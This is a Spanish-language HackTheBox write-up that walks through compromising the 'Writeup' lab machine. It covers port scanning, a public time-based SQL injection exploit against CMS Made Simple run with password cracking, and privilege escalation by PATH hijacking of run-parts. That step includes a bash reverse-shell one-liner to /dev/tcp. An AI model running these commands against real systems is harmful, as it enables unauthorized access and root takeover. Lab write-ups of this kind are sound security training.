Home HackTheBox Writeup
Post
Cancel

HackTheBox Writeup


Machine IP : 10.10.10.138

DATE : 25/07/2021


Matriz de la maquina

Esta matriz nos muestra las características de explotación de la maquina.

Reconocimiento

Primero hacemos un escaneo de puertos para saber cuales están abiertos y conocer sus servicios correspondientes.

Nmap

Usamos el siguiente comando para escanear todos los puertos de una manera rapida.

1
nmap -p- --open -T5 -v -n -Pn 10.10.10.138

Posteriormente utilizamos este comando con los puertos del anterior escaneo para saber las versiones de cada servicio.

1
nmap -sC -sV -n -p22,80 -Pn 10.10.10.138

Nos arroja este resultado:

1
2
3
4
5
6
7
8
9
10
11
12
13
~  nmap -sC -sV -p22,80 10.10.11.138 -Pn                                                                                                                                                        4s   
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-26 11:07 EDT
Nmap scan report for 10.10.11.138
Host is up.

PORT   STATE    SERVICE VERSION
22/tcp filtered ssh
80/tcp filtered http

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 3.70 seconds

Podemos observar dos puertos abiertos, el 22 que pertenece a ssh y el 80 que es un http, procederemos a revisar la web que corre en el servicio http y haremos una busqueda de directorio con gobuster.

Al parecer el servidor web está protegido a Dos, por eso gobuster no puede hacer su trabajo, revisando robots.txt una ruta muy comun en los ctf, podemos ver que tiene el directorio writeup oculto.

Al revisar ese directorio solo son writeups de otras maquinas, pero al escanear la página con Wappalizer podemos observar que está hecho con CMS Made Simple, lo cual parece curioso.

Al investigar exploits en esta tecnología nos encontramos con un SQL Injection Exploit

Este exploit es un sql injection basado en tiempo, lo que hace es dumpear las credenciales del portal y nos la entrega junto con la contraseña que esta hasheada, pero tiene una opcion para hacer bruteforce a la contraseña.

Luego de descargarnolos, ejecutamos el exploit con el comando

1
python2 exploit.py -u http://10.10.10.138/writeup/ --crack -w /usr/share/wordlists/rockyou.txt 

Con estas credenciales nos logeamos via ssh con el usuario jkr y obtenemos el user.txt.

Escalamiento de privilegios

Luego de obtener acceso como el usuario jkr, probé con sudo -l para listar los binarios que se pueden ejecutar como sudo, pero no tenia privilegios, luego vi los grupos en los que estaba el usuario jkr y habia uno llamado staff, investigando un poco encontré que este grupo puede crear archivos dentro de usr/local/bin.

Luego listé los procesos que se ejectuban en la maquina con la herramienta pspy, luego de esto como no encontré nada, pedí ayuda a unos colegas y me dijeron que revise los procesos llamados cuando se iniciaba sesion son ssh, en otra terminal me logeé y al momento de logearme via ssh ocurría esto en la maquina.

Como podemos observar se ejecuta el comando run-parts sin ruta absoluta, entonces podemos aprovechar para colar un archivo llamado run parts en los directorios del path y autoejecutarse al momento de que lo encuentre, esta vulnerabilidad se llama Path Hijacking.

Hay varias formas de obtener root con esta vulnerabilidad, podemos crear una reverse shell en el archivo run-parts o simplemente asignar permisos SUID a la bash , en este caso crearemos una reverse shell con el comando.

1
bash -c 'bash -i >& /dev/tcp/10.0.0.1/8080 0>&1'

Luego le damos persmisos de ejecución con el comando

1
chmod +x run-parts

Por ultimos en otra terminal nos logeamos via ssh con el usuario jkr y obtenemos la reverse shell hacia nuestra maquina como el usuario root.

Finalmente nos metemos al directorio de root y observamos el root.txt.

Conclusiones

Fue una buena maquina y nos deja unas cuantas lecciones…

No usar versiones antiguas de las tecnologías web y menos sabiendo que tienen vulnerabilidades criticas.

No manejar contraseñas faciles de descrifrar, se sugiere una constraseña con simbolos y mayusculas.

No asignar grupos con permisos de escritura como el de staff a un usuario no privilegiado.

Sanitizar el input del usuario para evitar sql injections basados en tiempo.

Gracias por leer, Happy hacking and always try harder!

This post is licensed under CC BY 4.0 by the author.

HackTheBox Armageddon

HackTheBox Blue